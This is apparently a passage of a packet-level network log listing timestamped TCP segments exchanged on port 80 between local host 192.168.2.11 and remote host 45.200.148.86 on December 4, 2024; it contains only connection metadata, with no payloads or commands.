Dec 4, 2024 15:12:17.250422955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.250546932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.250592947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.251343012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.251558065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.251600027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.252289057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.252538919 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.252573967 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.253129005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.253282070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.253319025 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.254329920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.254578114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.254618883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.254962921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.255070925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.255106926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.255604029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.255696058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.255733967 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.256573915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.256709099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.256742001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.257316113 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.257419109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.257458925 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.258163929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.258244038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.258275986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.259004116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.259130001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.259176016 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.259711981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.259895086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.259932041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.260531902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.260662079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.260695934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.261224985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.261292934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.261328936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.261931896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.262011051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.262047052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.262707949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.262861967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.262901068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.263565063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.263803005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.263842106 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.264424086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.264616013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.264650106 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.265142918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.265228987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.265268087 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.265834093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.265961885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.265997887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.266596079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.266683102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.266722918 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.267529011 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.267726898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.267767906 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.268318892 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.268441916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.268480062 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.269105911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.269232988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.269269943 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.269900084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.269978046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.270015955 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.270723104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.270862103 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.270899057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.271663904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.271784067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.271821976 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.272383928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.272488117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.272526026 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.273261070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.273442030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.273483992 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.274044991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.274194956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.274233103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.274843931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.275134087 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.275181055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.275620937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.327735901 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.425234079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.425518990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.425579071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.425795078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.425960064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.425996065 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.426623106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.426640034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.426678896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.427520037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.427720070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.427758932 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.428201914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.428503990 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.428543091 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.429280996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.429455996 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.429500103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.429932117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.430098057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.430138111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.430476904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.430641890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.430680037 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.431472063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.431483030 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.431513071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.432230949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.432409048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.432446003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.433068037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.433224916 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.433259964 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.434138060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.434154987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.434195042 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.434784889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.434941053 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.434979916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.435518980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.435673952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.435717106 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.436338902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.436489105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.436522961 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.437294960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.437306881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.437344074 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.438071966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.438083887 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.438121080 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.438855886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.439032078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.439076900 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.439809084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.439821005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.439862013 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.440629959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.440640926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.440673113 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.441514015 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.441525936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.441553116 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.442667961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.442682028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.442728043 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.443384886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.443428993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.443464041 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.443941116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.444837093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.444875956 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.445499897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.445643902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.445687056 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.446263075 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.446418047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.446455956 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.446924925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.446937084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.446974993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.447263002 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.447442055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.447487116 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.447940111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.448249102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.448287010 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.448735952 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.448888063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.448935986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.449609995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.449770927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.449815989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.450278997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.450292110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.450342894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.450820923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.450948000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.450989008 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.451646090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.451777935 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.451823950 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.452490091 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.452529907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.452573061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.453293085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.453454971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.453494072 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.454160929 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.454271078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.454307079 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.454989910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.455043077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.455080986 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.455986023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.456145048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.456180096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.456940889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.456990004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.457026958 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.457978010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.458064079 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.458101034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.458553076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.458754063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.458791018 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.459439993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.459531069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.459568977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.460254908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.460345984 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.460385084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.460881948 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.460995913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.461304903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.461344004 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.461951971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.462018013 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.462068081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.464576960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465573072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465590000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465610027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465612888 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.465622902 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465635061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465642929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.465646982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465660095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.465678930 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.465691090 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.465702057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.466159105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.466204882 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.466804981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.467114925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.467156887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.467839956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.467853069 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.467885971 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.468441010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.485327005 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.617539883 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.617822886 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.617876053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.617975950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.618119955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.618156910 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.618908882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.618927956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.618963003 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.619395971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.619591951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.619642973 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.620316029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.620485067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.620522976 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.621359110 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.621499062 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.621532917 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.622051954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.622163057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.622200966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.622791052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.622850895 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.622886896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.623648882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.623661995 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.623698950 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.624340057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.624485970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.624533892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.625267029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.625291109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.625324965 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.625881910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.626075983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.626122952 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.626785040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.626944065 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.626980066 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.627571106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.627619982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.627655983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.628407001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.628452063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.628493071 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.629185915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.629312038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.629349947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.629990101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.630116940 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.630153894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.630844116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.630944967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.630976915 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.631700993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.631777048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.631814957 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.632466078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.632591963 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.632627010 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.633305073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.633425951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.633471012 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.634162903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.634264946 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.634303093 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.634922981 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.635061979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.635098934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.635832071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.635920048 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.635963917 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.636578083 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.636708021 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.636749029 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.637454033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.637572050 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.637608051 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.638256073 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.638350964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.638402939 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:17.639069080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:17.639159918 CET	80	49717	45.200.148.86	192.168.2.11
